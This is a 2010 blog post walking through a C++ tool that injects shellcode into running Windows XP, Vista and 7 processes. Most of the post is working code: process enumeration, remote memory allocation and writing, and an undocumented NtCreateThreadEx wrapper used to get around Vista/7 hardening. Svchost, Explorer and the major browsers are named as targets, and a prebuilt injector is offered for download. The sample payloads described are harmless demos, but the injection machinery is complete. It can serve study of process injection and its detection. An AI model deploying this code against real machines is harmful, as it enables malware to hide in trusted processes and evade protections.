Sunday, November 14, 2010

Injecting shellcode into XP/Vista/7 process using C++

In this post I will present a tool I created for injecting shellcode into any process in the system (even privileged once if you have admin permissions). This tool only uses WinAPI functions and should work on any Windows platform and without any dependency.
Let's begin:
First thing, we would like to find out the OS version and architecture of the machine our tool is running on, in order to act accordingly (explained later on). For this purpes we create a simple function called CheckOSVersion.
code:
int CheckOSVersion(void)
{
 /* 
 * Windows XP = 1 (NT 5.0)
 * Windows Vista = 2 (NT 6.0)
 * Windows 7 = 3 (NT 6.1)
 */
 OSVERSIONINFO osver;
 osver.dwOSVersionInfoSize = sizeof(osver);
 if (GetVersionEx(&osver))
 { 
  if (!(osver.dwPlatformId == VER_PLATFORM_WIN32_NT))  
   return 0;
  if (osver.dwMajorVersion == 5)
   return 1;
  if (osver.dwMajorVersion == 6 && osver.dwMinorVersion == 0)
   return 2;
  if (osver.dwMajorVersion == 6 && osver.dwMinorVersion == 1)     
   return 3;  
 }
 else
  return 0;
}

Moving on to check the architecture. One of many ways to achieve this is by checking the size of a known data type:
bool is64bit; 
 // get system architecture
 if(sizeof(void*) == 4)
  is64bit = false; // 32bit
 else
  is64bit = true; // 64bit


The next thing we would like to do is to enumerate the processes so we could choose the ones we like to inject our shellcode into.
One way to achieve this is by using CreateToolhelp32Snapshot function which as it sounds, takes a snapshot of a certain process. The structure to contain a process info would be PROCESSENTRY32 and the functions we use to iterate through the processes would be Process32First and Process32Next
Code:
PROCESSENTRY32  pe32 = { sizeof( PROCESSENTRY32 ) };
 HANDLE hSnapshot = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 );

 if( hSnapshot == INVALID_HANDLE_VALUE )
  return 0;

 if( ! Process32First( hSnapshot, &pe32 ) ) {
  CloseHandle( hSnapshot );
  return 0;
 }

 do {
  if( _tcsicmp( _T( "process_name.exe" ), pe32.szExeFile ) == 0){
   // The injection function is called from here...
  }
 } while( Process32Next( hSnapshot, &pe32 ) );

Now that we know the OS version, architecture and enumerated the processes, it's time for the fun part, injecting our shellcode into the selected processes. For this task we create a function called InjectCode (how surprising!). This function receives a process ID to inject to, the OS and architecture ID.
The flow of shellcode injection is quite simple. First we need to receive a handle with the appropriate permissions for the target process. For this task we use OpenProcess. Once we have the process handle we can allocate memory space on that process (making room for our shellcode) using VirtualAllocEx, writing the shellcode into the memory space we allocated using WriteProcessMemory and finally, in order to make the target process run our shellcode we use MyCreateRemoteThread, which creates a thread on the target process with our shellcode running on it.
code:
bool InjectCode( DWORD dwProcId, int os )
{
 //open process with proper access permissions
 HANDLE hHandle = NULL;
 if (os < 2)
  //good for Windows XP and older
  hHandle = OpenProcess( PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD, 0, dwProcId ); 
 else
  //good for Windows 7 and Vista (not tested on XP or older)
  hHandle = OpenProcess( PROCESS_ALL_ACCESS, 0, dwProcId );
 
 //check if OpenProcess succeeded
 if( hHandle == INVALID_HANDLE_VALUE )
  return false;

 //allocate memory for our shellcode in the desired process's address space
 LPVOID lpShellcode = NULL;
 //choose the shellcode which suits the environment
 if (os < 2)
  lpShellcode = VirtualAllocEx( hHandle, 0, sizeof( calc_shellcode_XP ), MEM_COMMIT, PAGE_EXECUTE_READWRITE );
 else if (os < 4)
  lpShellcode = VirtualAllocEx( hHandle, 0, sizeof( msgbox_shellcode_Win7_32 ), MEM_COMMIT, PAGE_EXECUTE_READWRITE );
 else
  lpShellcode = VirtualAllocEx( hHandle, 0, sizeof( cmd_shellcode_Win7_64 ), MEM_COMMIT, PAGE_EXECUTE_READWRITE );
 
 //check if VirtualAllocEx succeeded
 if( lpShellcode == NULL) {
  CloseHandle( hHandle );
  return false;
 }

 // write the shellcode into the allocated memory space
 if (os < 2)
  WriteProcessMemory( hHandle, lpShellcode, calc_shellcode_XP, sizeof( calc_shellcode_XP ), 0 );
 else if (os < 4)
  WriteProcessMemory( hHandle, lpShellcode, msgbox_shellcode_Win7_32, sizeof( msgbox_shellcode_Win7_32 ), 0 );
 else
  WriteProcessMemory( hHandle, lpShellcode, cmd_shellcode_Win7_64, sizeof( cmd_shellcode_Win7_64 ), 0 );

 // create a thread which will execute our shellcode
 HANDLE hThread = MyCreateRemoteThread( hHandle, lpShellcode, 0 );
 if( hThread == NULL ) {
  CloseHandle( hHandle );
  return false;
 }
 return true;
}

MyCreateRemoteThread
code:
HANDLE MyCreateRemoteThread(HANDLE hProcess, LPVOID lpRemoteThreadStart, LPVOID lpRemoteCallback) 
{ 
 if(GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtCreateThreadEx")) 
 { 
  return NtCreateThreadEx(hProcess, lpRemoteThreadStart, lpRemoteCallback); 
 } 

 else 
 { 
  return CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)lpRemoteThreadStart, lpRemoteCallback, 0, 0); 
 } 

 return NULL; 
}
The reason I'm using CreateRemoteThread and NtCreateThreadEx is that CreateRemoteThread not always works on Windows Vista and 7 (because of some changes made for hardening protection). NtCreateThreadEx is an undocumented function, there for I had to implement it instead of using the API as I did so far.

NtCreateThreadEx
code:
HANDLE NtCreateThreadEx(HANDLE hProcess, LPVOID lpRemoteThreadStart, LPVOID lpRemoteCallback) 
{ 
 typedef struct 
 { 
  ULONG Length; 
  ULONG Unknown1; 
  ULONG Unknown2; 
  PULONG Unknown3; 
  ULONG Unknown4; 
  ULONG Unknown5; 
  ULONG Unknown6; 
  PULONG Unknown7; 
  ULONG Unknown8; 

 } UNKNOWN; 

 typedef DWORD WINAPI NtCreateThreadEx_PROC( 
  PHANDLE ThreadHandle, 
  ACCESS_MASK DesiredAccess, 
  LPVOID ObjectAttributes, 
  HANDLE ProcessHandle, 
  LPTHREAD_START_ROUTINE lpStartAddress, 
  LPVOID lpParameter, 
  BOOL CreateSuspended, 
  DWORD dwStackSize, 
  DWORD Unknown1, 
  DWORD Unknown2, 
  LPVOID Unknown3 
  ); 

 UNKNOWN Buffer; 
 DWORD dw0 = 0; 
 DWORD dw1 = 0; 
 memset(&Buffer, 0, sizeof(UNKNOWN)); 

 Buffer.Length = sizeof (UNKNOWN); 
 Buffer.Unknown1 = 0x10003; 
 Buffer.Unknown2 = 0x8; 
 Buffer.Unknown3 = &dw1; 
 Buffer.Unknown4 = 0; 
 Buffer.Unknown5 = 0x10004; 
 Buffer.Unknown6 = 4; 
 Buffer.Unknown7 = &dw0; 

 NtCreateThreadEx_PROC* VistaCreateThread = (NtCreateThreadEx_PROC*) GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtCreateThreadEx"); 

 if(VistaCreateThread == NULL) 
  return NULL; 

 HANDLE hRemoteThread = NULL; 
 HRESULT hRes = 0; 

 if(!SUCCEEDED(hRes = VistaCreateThread( 
  &hRemoteThread, 
  0x1FFFFF, // all access 
  NULL, 
  hProcess, 
  (LPTHREAD_START_ROUTINE)lpRemoteThreadStart, 
  lpRemoteCallback, 
  FALSE, 
  NULL, 
  NULL, 
  NULL, 
  &Buffer 
  ))) 
 { 
  return NULL; 
 } 

 return hRemoteThread; 
} 

That's about it. You can download the VS 2008 project files from here and the injector exe file from here.
The exe file injects Windows calculator for Win XP, a messagebox for Win7/Vista x86, or spawn CMD for Win7/Vista x64. The target processes are SVCHOST.EXE, Explorer.exe, iexplore.exe, firefox.exe and chrome.exe.

Hope you'll find this information usefull.
Cheers,
-Herzel